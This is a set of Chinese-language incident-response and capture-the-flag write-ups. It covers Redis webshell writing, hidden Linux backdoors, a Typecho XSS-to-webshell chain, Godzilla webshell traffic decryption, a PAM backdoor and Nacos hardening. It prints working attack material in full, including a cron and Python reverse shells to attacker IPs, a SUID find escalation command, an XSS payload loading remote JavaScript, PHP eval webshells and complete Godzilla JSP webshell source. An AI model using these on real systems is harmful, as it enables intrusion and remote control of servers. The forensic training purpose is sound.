config set dir /var/www/html/
config set dbfilename shell.php
save
- 这会在靶机
/var/www/html/
目录写入一个shell.php
文件 - 靶机会自动从你的 Redis 服务器同步过来写文件
访问写好的 webshell
http://靶机ip/shell.php?cmd=id
然后会发现执行不了,这是Redis 6开始引入的安全特性,原因:
防止像你这样黑客利用config set dir
+save
写shell
反弹shell
kali监听
nc -lvvp 4444
kali连接的是8888端口的kali的
在 Redis 中构造 cron 反弹shell命令:
set cron "* * * * * /bin/bash -i >& /dev/tcp/192.168.254.128/4444 0>&1"
解释:
* * * * *
:每分钟执行一次/bin/bash -i >& /dev/tcp/192.168.254.129/4444 0>&1
:- bash 交互式反弹
- 连接到Kali 4444端口
第三章 权限维持-linux权限维持-隐藏
总结:隐藏文件;反向shell后门程序;SUID位;第三方软件和应用程序目录/opt;Cymothoa后门工具;Exec值
ssh root@env.xj.edisec.net -p 密码 xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
1.黑客隐藏的隐藏的文件 完整路径md5
隐藏文件就是ls
执行之后不会显示的,但是ls -a
可以显示,以.
开头的文件,我们可以用find来过滤
find / name '.*'
可以发现最后面有几个,而且是点开头的目录,进去查看发现有py文件
1.py
#!/usr/bin/python3
import socket,subprocess,os,sys, time
pidrg = os.fork()
if pidrg > 0:
sys.exit(0)
os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)
while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
sdregs.close()
except Exception:
pass
time.sleep(2)
这段代码是一个典型的反向Shell后门程序,主要功能包括:
- 守护进程化:通过两次
fork
脱离终端控制,实现后台运行。 - 反向Shell:连接到远程C2服务器(
114.114.114.121:9999
),并提供交互式Bash Shell。 - 持久化:如果连接失败,会每隔2秒重新尝试连接。
shell.py
#!/usr/bin/python3
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172.16.10.7",2220))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
run(["/bin/bash","-i"])
- 建立反向连接:
- 脚本会主动连接到攻击者的服务器(
172.16.10.7:2220
)。
- 脚本会主动连接到攻击者的服务器(
- 提供Shell访问:
- 通过重定向标准输入/输出/错误,攻击者可以远程执行任意命令。
- 隐蔽性:
- 没有守护进程(
fork
)或异常处理,因此连接断开后Shell会终止(但攻击者可以重新连接)。
- 没有守护进程(
所以可以知道1.py更加像是黑客的隐藏文件,完整路径为:/tmp/.temp/libprocesshider/1.py
flag{109ccb5768c70638e24fb46ee7957e37}
2.黑客隐藏的文件反弹shell的ip+端口
根据上一题的分析可以知道ip和端口是:114.114.114.121:9999
flag{114.114.114.121:9999}
3.黑客提权所用的命令 完整路径的md5 flag
题目让我们提交黑客提权使用的命令且进行MD5加密提交,那就主要查看系统日志和文件变化记录,查找以下文件可能的变动:
-
/etc/passwd
-
/etc/sudoers
-
具有 SUID 位设置的文件
这里系统日志与文件均为发现什么,那我们就主要查看SUID位设置的文件,那在此之前我们先简单了解一下什么是SUID提权
SUID(Set User ID)是 Unix/Linux 文件系统中的一种权限位。当文件的 SUID 位被设置时,执行该文件的用户将临时获得文件所有者的权限。这通常用于程序需要执行一些需要更高权限的操作(例如,ping 命令需要发送 ICMP 请求,因此需要 root 权限)
使用命令
find / -perm -u=s -type f 2>/dev/null
这个命令用于查找系统上所有设置了 SUID 位的文件
-
find /: 从根目录开始查找
-
-perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)
-
-type f: 只查找文件(不包括目录)
-
2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息
rws
表示文件所有者(root)具有 SUID 位(s
),并且文件的所有者是 root,所以不难看出find就是被黑客进行提权
为什么 /usr/bin/find
设置 SUID 是危险的?
find
命令本身功能强大,如果被恶意利用,可能实现提权(Privilege Escalation)。例如:
攻击手法示例
# 利用 SUID 的 find 执行任意命令(提权到 root)
/usr/bin/find . -exec /bin/sh -p \; -quit
-exec
参数可以执行系统命令(如/bin/sh -p
,-p
保留 root 权限)。- 如果
/usr/bin/find
是 SUID root,则会直接获得 root shell。
/usr/bin/find |
调用 find 命令(假设它设置了 SUID,且属主是 root) |
---|---|
. |
从当前目录开始搜索 |
-exec /bin/sh -p \; |
对找到的每个文件(实际是当前目录的所有文件)执行 /bin/sh -p (启动一个交互式 shell) |
-quit |
执行完第一次 -exec 后立即退出(避免不必要的操作) |
在 SUID 文件列表中,/usr/bin/find
因其强大的功能和历史漏洞,可以直接进行提权。攻击者可以利用 SUID find
的 -exec
选项执行任意命令,从而获得高权限(如 root 权限)的 shell
所以黑客提权所用的命令就是:/usr/bin/find
flag{7fd5884f493f4aaf96abee286ee04120}
4.黑客尝试注入恶意代码的工具完整路径md5
这个一步步找了
在Linux系统中,通常将 /opt
目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的,也不是通过系统包管理器(如apt、yum等)安装的
这里发现了隐藏目录,进去查看
Cymothoa 是一款专用于 Linux/Unix 系统的后门注入工具,它通过将恶意代码注入到正在运行的进程内存中,实现隐蔽的持久化控制。其名称来源于一种寄生性甲壳类生物(Cymothoa exigua,俗称“食舌虱”),隐喻其寄生特性
所以可以知道黑客尝试注入恶意代码的工具完整路径就是:/opt/.cymothoa-1-beta/cymothoa
flag{736049e6104e442e79cb648fa67ac71b}
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag
执行文件,这个文件就是我们第一问找到的那个反弹shell的文件
执行完之后我们netstat查看,可以看到脚本里面的ip:114.114.114.121:9999
进程是python
什么是 Exec\**\**\**
值?
Exec\**\**\**
可能指:Executable Path
(可执行文件路径):即运行的文件在系统中的完整路径(如/usr/bin/x.xx
或/tmp/x.xx
)。Execution Command
(执行命令):运行该文件时使用的完整命令(如/bin/sh ./x.xx
)。Execution Environment
(执行环境变量):如$PATH
中的某个路径。
所以可以知道就是python
其实在1.py里面就写了是python3,然后这里看的话会发现是python3.4
flag{/usr/bin/python3.4}
第五章 linux实战-CMS01
总结:日志分析;宝塔面板;数据库;蚁剑流量;冰蝎流量
服务器场景操作系统 Linux
服务器账号密码 root Inch@957821.
题目来源公众号 知攻善防实验室
请点击下载附件,获取私钥文件后连接 ssh
https://mp.weixin.qq.com/s/5ibP6E8R-GPtOEJeFK8qZA
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/5ibP6E8R-GPtOEJeFK8qZA
通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;
一般开始就是去根目录看日志,有www目录,进去找日志文件,有一个127.0.0.1日志文件,进去查看
会发现ip192.168.20.1有大量请求,并且有很多在一秒之内有很多请求的,可以判断这个就是黑客ip
flag{192.168.20.1}
通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;
这里有www目录,可以尝试看看有没有宝塔面板
发现有,修改密码查看地址
用账号密码登录进入后台1
这里可以看到数据库账号密码
登录
看有哪些库
表
有用户表,我们看看有什么字段
有用户名和密码,我们查看
教师管理员
peadmin
答案是peadmin的
flag{Network@2020}
通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});
这个如果是自己本地的虚拟机部署可以通过访问网站进行后续操作,这里因为时靶机所以就分析流量包
协议分级选中http
好多在index.php?user-app-register页面的数据包,我们追踪流查看一下
发现了蚁剑流量,URL是index.php?user-app-register
最后还有
攻击者做了什么?
- 绕过
open_basedir
限制(PHP安全机制,限制脚本访问特定目录之外的文件) - 收集服务器信息:
- Web根目录路径(
/www/wwwroot/127.0.0.1
) - 操作系统信息(
Linux web-server 3.10.0-1160.el7.x86_64
,即 CentOS 7) - 当前运行用户(
www
)
- Web根目录路径(
- 返回数据,并用
4a0cdc70
和db6da5
包裹(可能是攻击者的标记)
flag{index.php?user-app-register}
通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交;
这里可以去www目录下面过滤关键词,因为已经说了是webshell,所以可以过滤@eval(
密码是Network2020
或者去流量包里面看,http追踪流
因为是蚁剑流量,所以第一个就是webshell的连接密码
flag{Network2020}
通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交;
在流27发现了冰蝎流量
然后后续都是加密流量
所以可以知道后续上传的木马文件就是version2.php
flag{version2.php}
通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;
去网站目录下面过滤试试
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
flag1
流量包后门还发现了flag1
第五章 linux实战-黑链
服务器场景操作系统 Linux
服务器账号密码 root xjty110pora 端口 2222
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
无
黑链是指恶意网站或者恶意软件在其他网站上插入的恶意链接。这些链接通常会将用户重定向到恶意网站,从而导致用户的计算机感染病毒、遭受钓鱼攻击或者泄露个人信息。
找到黑链添加在哪个文件 flag 格式 flag
目录下面有个流量包,先下载保存
根目录发现/var/www,那么就是分析这个目录下面的文件了
有一个压缩包,太贴心了还帮我们整合了,保存解压缩直接丢D盾扫描
发现两个后门文件,poc1.js:
这段代码是一个 恶意 JavaScript 攻击脚本,主要用于 篡改网站后台的 PHP 文件(如 404.php
),植入 WebShell 后门(<?php @eval($_POST[a]); ?>
)
1. insertIframe()
函数
- 作用:在网页末尾插入一个隐藏的
<iframe>
,用于加载目标 PHP 文件(如theme-editor.php
)。 - 关键逻辑:
- 检查当前 URL 是否为
manage-comments.php
(评论管理页面)。 - 如果是,则构造
theme-editor.php
的路径,指向404.php
(主题文件)。 - 如果不是,则直接访问
/admin/theme-editor.php
(主题编辑器)。 - 插入一个 隐藏的 iframe(
width='0%' height='0%'
),加载目标文件,并设置onload="writeShell()"
(加载完成后执行writeShell
)。
- 检查当前 URL 是否为
2. writeShell()
函数
- 作用:在 iframe 加载的
theme-editor.php
页面中 篡改404.php
文件内容,植入恶意 PHP 代码。 - 关键逻辑:
- 获取 iframe 内的
content
(文件编辑区)和button
(保存按钮)。 - 在
content
的 开头 插入<?php @eval($_POST[a]); ?>
(WebShell 后门)。 - 自动点击“保存”按钮(
btns[1].click()
),使修改生效。 - 设置
isSaved = true
,避免重复执行。
- 获取 iframe 内的
3. 最终效果
- 这段代码会 静默修改
404.php
(或其他主题文件),植入eval($_POST[a])
后门,使攻击者可以 远程执行任意 PHP 代码(如上传木马、窃取数据、控制服务器等)。
404.php:
这段代码是一个 被黑客入侵后篡改的 PHP 文件
- 恶意代码(WebShell 后门)
<?php @eval($_POST[a]); ?>
eval()
是 PHP 中执行字符串代码的函数,非常危险。$_POST[a]
表示攻击者可以通过 HTTP POST 请求传入任意 PHP 代码并执行。@
符号用于抑制错误输出,避免被发现。- 这段代码是一个典型的 WebShell,黑客可以利用它远程控制你的服务器,执行任意命令(如删除文件、窃取数据、植入木马等)。
重复多次(<?php @eval($_POST[a]); ?>
)可能是攻击者尝试确保后门生效,即使部分代码被删除或修改。
phpinfo()
信息泄露
<?php phpinfo(); ?>
phpinfo()
会输出 PHP 的详细配置信息(如版本、扩展、路径等),攻击者可以利用这些信息寻找漏洞进一步入侵。
- 正常的 Typecho 404 页面代码
<?php if (!defined('__TYPECHO_ROOT_DIR__')) exit; ?>
<?php $this->need('header.php'); ?>
...(正常的 404 页面 HTML 代码)
<?php $this->need('footer.php'); ?>
这部分是 Typecho(一个 PHP 博客系统)的 404 页面模板,看起来原本是正常的,但被注入了恶意代码。
这里看到了两个文件header.php和footer.php,撞狗屎运了,真在header.php里面发现了模拟黑链(其实这两个文件在这里算是正常显示的)
有一个
<h3 style="text-align:center">模拟黑链</h3>
这是一个明显的 测试性内容,可能是开发者用于演示黑链(如 SEO 垃圾链接)的样式效果,也可能是攻击者植入的标记
答案确实就是这个文件
这里去看了其他博客有搜索关键字的:
grep -rnw '/var/www/html/' -e '黑链'
flag{header.php}
webshell的绝对路径 flag
webshell我想的一般是先去流量包看看连接情况,在http追踪流的流61里面发现了蚁剑连接,是404.php那个文件
在之前我们D盾扫描显示了路径
flag{/var/www/html/usr/themes/default/404.php}
黑客注入黑链文件的 md5 md5sum file flag
这个在之前分析的poc1.js中可以知道文件就是它,计算md5:
flag{10c18029294fdec7b6ddab76d9367c14}
攻击入口是哪里?url请求路径,最后面加/ flag
之前已经知道了注入黑链文件就是poc1.js,我们在流量包里面过滤一下
http contains "poc1.js"
这里的
09f1f9758c26c309477b55f3a4bac8de__typecho_remember_url=http://xxx.xxx.com/"></a><script/src=http://192.168.20.130/poc1.js></script><a/href="#
恶意注入部分:
- 在URL值后面,攻击者注入了HTML和JavaScript代码:
"></a>
- 闭合了可能存在的HTML标签<script/src=http://192.168.20.130/poc1.js></script>
- 试图加载外部恶意JS脚本<a/href="#">
- 可能是为了掩盖前面的注入
安全风险:
- 这是一个典型的存储型XSS攻击尝试
- 如果网站没有对cookie值进行适当过滤,这段代码会被存储并在页面显示时执行
- 攻击者试图加载位于192.168.20.130的poc1.js脚本,可能用于窃取信息或进行其他恶意操作
是一个漏洞Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog
flag{/index.php/archives/1/}
第六章-哥斯拉4.0流量分析
总结:哥斯拉流量解密;.so文件分析;IDA;dnslog
请你登录服务器结合数据包附件来分析黑客的入侵行为
用户名:root
密码:xj@gsl4.0
SSH连接:ssh root@ip -p 222
1、黑客的IP是什么?
开环境要钱,先分析流量包
协议分级选中http
统计ip次数
第一个是主机,第二个是黑客
flag{192.168.31.190}
2、黑客是通过什么漏洞进入服务器的?(提交CVE编号)
流31发现
这是一个JSP(JavaServer Pages)的后门脚本,常用于非法控制Web服务器
<% !String xc = "1710acba6220f62b";
String pass = "7f0e6f";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] {
byte[].class
}).invoke(Encoder, new Object[] {
bs
});
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] {
String.class
}).invoke(decoder, new Object[] {
bs
});
} catch (Exception e2) {}
}
return value;
} %> <%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {} %>
核心功能分析:
- 密码验证:
- 使用硬编码密码
pass = "7f0e6f"
作为参数名 - 通过
pass+xc
的MD5值进行验证(md5 = md5(pass + xc)
)
- 使用硬编码密码
- AES加密通信:
- 使用AES加密算法(密钥为
xc
变量) x()
方法负责加密/解密数据(true加密,false解密)
- 使用AES加密算法(密钥为
- 类加载机制:
- 自定义
X
类继承ClassLoader
,可以动态加载恶意字节码 - 通过
Q()
方法定义任意类
- 自定义
- 执行流程:
- 首次请求时:通过
base64Decode
解码参数,解密后加载为恶意类(存入session) - 后续请求时:执行已加载的恶意类,获取执行结果并加密返回
- 首次请求时:通过
- 数据交互:
- 使用Base64编码传输二进制数据
- 输出时拼接MD5值作为标记
这里看博客分析的挺详细的,分析完脚本之后去搜关键词就可以知道CVE编号
CVE-2017-12615(适用于 Apache Tomcat)
- 漏洞描述:Tomcat 的某些版本在开启了
PUT
方法时允许上传.jsp
文件,即攻击者可以上传 WebShell。 - 影响版本:Tomcat 7.0.0 ~ 7.0.81
- 利用路径:上传
.jsp
文件 → 利用 JSP Shell 代码控制服务器 → 远程加载内存马。
flag{CVE-2017-12615}
3、黑客上传的木马文件名是什么?(提交文件名)
通过上一题的追踪流可以知道木马文件就是hello.jsp
flag{hello.jsp}
4、黑客上传的木马连接密码是什么?
通过上上一题的分析可以知道连接密码就是7f0e6f
flag{7f0e6f}
5、黑客上传的木马解密密钥是什么?
flag{1710acba6220f62b}
6、黑客连接webshell后执行的第一条命令是什么?
找后续被加密的流量,在流44发现
前面第一个很长的请求一般都是加密函数什么的,我们看后面的,前面的流45解密是
methodNametest
并不是攻击者在“命令执行”模块中手动输入的命令,而是 哥斯拉连接后自动发送的初始化“心跳”或“测试”请求,用于验证连接是否成功。
我们继续往后面看
cmdLine sh -c "cd "/";uname -r" 2>&1arg-3 2>&1executableFile shexecutableArgs -c "cd "/";uname -r" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";uname -rmethodName execCommand
(1) cmdLine
cmdLine sh -c "cd "/";uname -r" 2>&1
sh -c
:调用 shell 执行命令cd "/";uname -r"
:cd "/"
→ 切换到根目录uname -r
→ 查询 Linux 内核版本(黑客常用此命令探测系统信息)
2>&1
:将标准错误(stderr)重定向到标准输出(stdout),确保错误信息也能返回
(2) executableFile
executableFile sh
sh
:指定使用sh
(Bourne Shell)来执行命令。
(3) executableArgs
executableArgs -c "cd "/";uname -r" 2>&1
-c
:让sh
执行后续字符串中的命令cd "/";uname -r
:实际执行的命令2>&1
:错误输出合并到标准输出
(4) argsCount 4
表示命令参数有 4 个部分:
arg-0 sh
→ 可执行文件(sh
)arg-1 -c
→ 参数-c
arg-2 cd "/";uname -r
→ 要执行的命令arg-3 2>&1
→ 错误输出重定向
(5) methodName execCommand
execCommand
:表明这是一个 命令执行方法,常见于 WebShell 或后门工具。
我们再解密返回包看看
返回了linux的内核版本,所以执行的第一条命令就是uname -r
flag{uname -r}
7、黑客连接webshell时查询当前shell的权限是什么?
流47
解密请求是:
sh -c "cd \"/\"; id" 2>&1
id
命令会输出当前 WebShell 所在服务进程的用户信息,这通常用于判断当前权限(低权限 or 高权限),解密响应:
root权限
流45解密返回也可以看到权限
flag{root}
8、黑客利用webshell执行命令查询服务器Linux系统发行版本是什么?
流45返回解密:
flag{Debian GNU/Linux 10 (buster)}
9、黑客利用webshell执行命令还查询并过滤了什么?(提交整条执行成功的命令)
流50请求包解密得到:
cmdLine & sh -c "cd "/";rpm -qa | grep pam" 2>&1arg-3 2>&1executableFile shexecutableArgs # -c "cd "/";rpm -qa | grep pam" 2>&1arg-0 shargsCount 4arg-1 -carg-2 cd "/";rpm -qa | grep pammethodName execCommand
cmdLine
部分
sh -c "cd "/"; rpm -qa | grep pam" 2>&1
sh -c
:调用 Shell 执行命令。cd "/"
:切换到根目录(确保后续命令在/
下执行)。rpm -qa | grep pam
:rpm -qa
→ 列出所有已安装的 RPM 包(适用于 CentOS/RHEL 等系统)。grep pam
→ 筛选出与 PAM 相关的包(如pam
,pam-devel
,pam_krb5
等)。
2>&1
:将错误输出(stderr)合并到标准输出(stdout),确保所有信息都能被捕获。
executableFile
和 executableArgs
executableFile sh
executableArgs -c "cd "/"; rpm -qa | grep pam" 2>&1
sh
:使用 Bourne Shell(/bin/sh
)执行命令。-c
:让 Shell 执行后面的字符串命令。cd "/"; rpm -qa | grep pam
:实际执行的命令(同上)。
argsCount 4
和参数分解
参数 | 值 | 说明 | |
---|---|---|---|
arg-0 |
sh |
调用的 Shell 程序 | |
arg-1 |
-c |
让 Shell 执行后续命令 | |
arg-2 |
`cd "/"; rpm -qa | grep pam` | 实际执行的命令 |
arg-3 |
2>&1 |
错误输出重定向 |
methodName execCommand
execCommand
:表明这是一个 命令执行方法,常见于 WebShell(如 JSP/PHP 后门)或黑客工具(如冰蝎、哥斯拉)。
但是返回包说没有安装rpm
再去找
cmdLine 0 sh -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-3 2>&1executableFile shexecutableArgs - -c "cd "/";dpkg -l libpam-modules:amd64" 2>&1arg-0 shargsCount 4arg-1 -carg-2 # cd "/";dpkg -l libpam-modules:amd64methodName execCommand
部分:
sh -c "cd "/"; dpkg -l libpam-modules:amd64" 2>&1
sh -c
:调用 Shell 执行命令。cd "/"
:切换到根目录(确保命令在/
下执行)。dpkg -l libpam-modules:amd64
:dpkg -l
→ 列出已安装的 Debian/Ubuntu 软件包(适用于 Debian 系系统)。libpam-modules:amd64
→ 查询 PAM 核心模块(管理用户认证的关键组件)。
2>&1
:将错误输出(stderr)合并到标准输出(stdout),确保所有信息都能被捕获。
有返回,说明执行成功,那么命令就是dpkg -l libpam-modules:amd64
flag{dpkg -l libpam-modules:amd64}
10、黑客留下后门的反连的IP和PORT是什么?(IP:PORT)
流52
base64解密
反弹shell
/bin/bash -i >& /dev/tcp/192.168.31.143/1313 0>&1
flag{192.168.31.143:1313}
11、黑客通过什么文件留下了后门?
这个后续就是看博客学习了
在一个很长的请求包中,流56,我们解密
后续的返回包是ok
flag{pam_unix.so}
12、黑客设置的后门密码是什么?
我们连接靶机去找上一题上传成功的文件,来到/root目录下面查看.bsh_history
发现了,来到对应目录下面把文件下载下来
打开IDA进行分析(这个工具我是真不会用,全程跟着博客的哈哈哈
F5反编译
博客原文:
代码分析
pam_set_data(pamh, "unix_setcred_return", v6, setcred_free);:
将某些认证数据(v6)存储在 PAM 句柄中,便于后续使用。
authtok = pam_get_authtok();:
调用 pam_get_authtok() 获取用户的认证令牌(通常是密码)。
密码检查:
如果 authtok 不存在,调用 unix_verify_password(pamh, name, p, v4); 来验证密码。
如果验证失败,记录日志并返回错误代码。
特殊密码检查:
代码中有一行 v12 = strcmp("XJ@123", p) == 0;,用于检查输入密码是否为 "XJ@123"。
如果匹配成功,设置返回值 v8。
记录日志:
使用 pam_syslog 记录关于用户名的错误信息,如果用户名不正确,返回相应的错误代码。
后门密码分析
所以可以确认的是黑客设置的后门密码是:"XJ@123"。
为什么确定是:
代码中明确比较用户输入的密码是否等于 "XJ@123",并根据比较结果决定认证是否成功。
如果这个密码被硬编码在代码中,黑客可能利用这个密码获得不当访问权限。
flag{XJ@123}
13、黑客的恶意dnslog服务器地址是什么?
dnslog会生成一个特定域名,ping它可以在网站看到信息
比如
ping %USERNAME%.域名
就会返回%USERNAME%的值,这个地方改成其他的也可以返回相应的信息
也是在上一题一样的位置
博客原文:
首先可以确认恶意 DNSLog 服务器地址:
c0ee2ad2d8.ipv6.xxx.eu.org.
为什么是这个地址
动态生成:
代码中使用 snprintf 函数构造了一个 DNS 名称,结合了 name 和 p 变量。虽然具体的 name 和 p 值没有给出,但可以确定最终的地址是以 c0ee2ad2d8.ipv6.xxx.eu.org. 结尾。
恶意意图:
这个 DNS 名称的构造意图是让被感染的系统向这个地址发送 DNS 请求,黑客可以通过 DNSLog 服务器记录下请求,获取用户的信息或活动。
与攻击者的联系:
通过这个地址,攻击者可以监控和识别目标系统,进而实施进一步的攻击或数据窃取。
flag{c0ee2ad2d8.ipv6.xxx.eu.org.}
参考文章:玄机——第六章-哥斯拉4.0流量分析 wp-CSDN博客
第八章 内存马分析-java01-nacos
总结:什么是nacos;shiro的key;内核查看;
靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
ssh root@ip 密码xjnacos 启动 /var/local/下的 autorun.sh即可正常启动
nacos 用户密码的密文值作为 flag 提交 flag
Nacos(全称 Dynamic Naming and Configuration Service)是阿里巴巴开源的一款集 服务发现(Service Discovery)、配置管理(Configuration Management)、动态 DNS 和服务元数据管理 于一体的云原生平台。它主要帮助开发者构建、部署和管理微服务架构中的服务注册与配置中心。
Nacos 的核心功能
1. 服务发现与注册(Service Discovery)
- 服务注册:微服务启动时,自动将自己的信息(如 IP、端口、健康状态)注册到 Nacos。
- 服务发现:服务消费者可以通过 Nacos 查询可用的服务实例列表,实现动态调用。
- 健康检查:Nacos 会定期检查服务健康状态,自动剔除故障节点。
2. 配置管理(Configuration Management)
- 集中式配置:将应用的配置(如数据库连接、开关参数)存储在 Nacos 服务器,支持动态更新。
- 多环境支持:可区分
dev
(开发)、test
(测试)、prod
(生产)等不同环境的配置。 - 监听变更:应用可实时感知配置变化,无需重启即可生效。
3. 动态 DNS 与路由
- 支持基于权重的负载均衡策略。
- 可与 Spring Cloud、Dubbo、Kubernetes 等生态集成。
4. 服务元数据管理
- 记录服务的版本、分组、标签等信息,便于服务治理。
根据题目说明,连接靶机之后到/var/local/启动autorun.sh
在/var/local目录下存在nacos目录,在nacos/conf/目录下发现nacos-mysql.sql,从中发 现了加密的nacos密码
flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}
shiro 的key为多少 shiro 的 key 请记录下来 (请记录下来,会有用d)
Shiro 是一个 Java 安全框架,用于认证(登录)、授权(权限控制)和会话管理。
Shiro 的 key 是用于加密会话(Cookie)的密钥,默认硬编码在配置中,泄露可能导致 反序列化漏洞。
在目录下有一个压缩包,下载解压打开里面还有一个nacos配置文件的压缩包,解压缩打开
三个文件
在文件ADMIN_CONFIG里面发现shiro的key
flag{KduO0i+zUIMcNNJnsZwU9Q==}
靶机内核版本为 flag{}
命令:
uname -r
flag{5.4.0-164-generic}
尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag
find命令查找get_flag文件在哪
find / -name get_flag
运行发现错误
这里看了博客说需要删除后门用户,去/etc/passwd文件里面查看用户
发现bt用户
- UID=0 表示 root 权限:
该用户的用户 ID(UID)和组 ID(GID)均为0
,与root
用户相同,意味着它拥有 最高权限。 - 攻击者常用手法:
通过创建 UID=0 的隐藏用户,攻击者可以绕过审计(如whoami
仍显示root
,但实际是后门用户)。 - 可疑注释:
描述字段eval to root
直译为“提权到 root”,明显是攻击者留下的标记,可能关联某个自动化提权脚本或后门程序。 - Home 目录为
/root
:
普通用户的 Home 目录通常在/home/
下,而此用户直接使用/root
(root 用户的专属目录),进一步表明它是伪装成 root 的后门。 - 登录 Shell 为
/bin/bash
:
允许交互式登录,方便攻击者直接操作。
可以确定就是后门用户,强制删除:
userdel -f bt
再次执行文件
尝试修复 nacos 并且自行用 poc 测试是否成功 此题无flag
Nacos Default server.identity 漏洞
- 问题本质:默认的 server.identity 配置可能存在安全风险,易被利用来进行恶意操作。
- 修复措施:修改 Nacos 的相关配置文件,自定义并设置一个安全的 server.identity,避免使用默认值。同时,对配置文件设置严格的访问权限,限制非授权人员查看和修改。
Nacos Default Auth Disabled(默认认证禁用)漏洞
- 问题本质:Nacos 默认认证功能被禁用,使得任何用户无需身份验证就能访问敏感资源和接口。
- 修复措施:在 Nacos 的配置文件(如
application.properties
或bootstrap.yml
)中,启用认证功能。设置强密码策略,要求密码包含大小写字母、数字和特殊字符,并且定期更换。同时, 限制登录失败次数,防止暴力破解,例如设置连续登录失败 5 次后,锁定账户 15 分钟。
Nacos Default User-Agent 漏洞
- 问题本质:使用默认的 User-Agent,攻击者容易识别出 Nacos 应用,进而针对性地发起攻击。
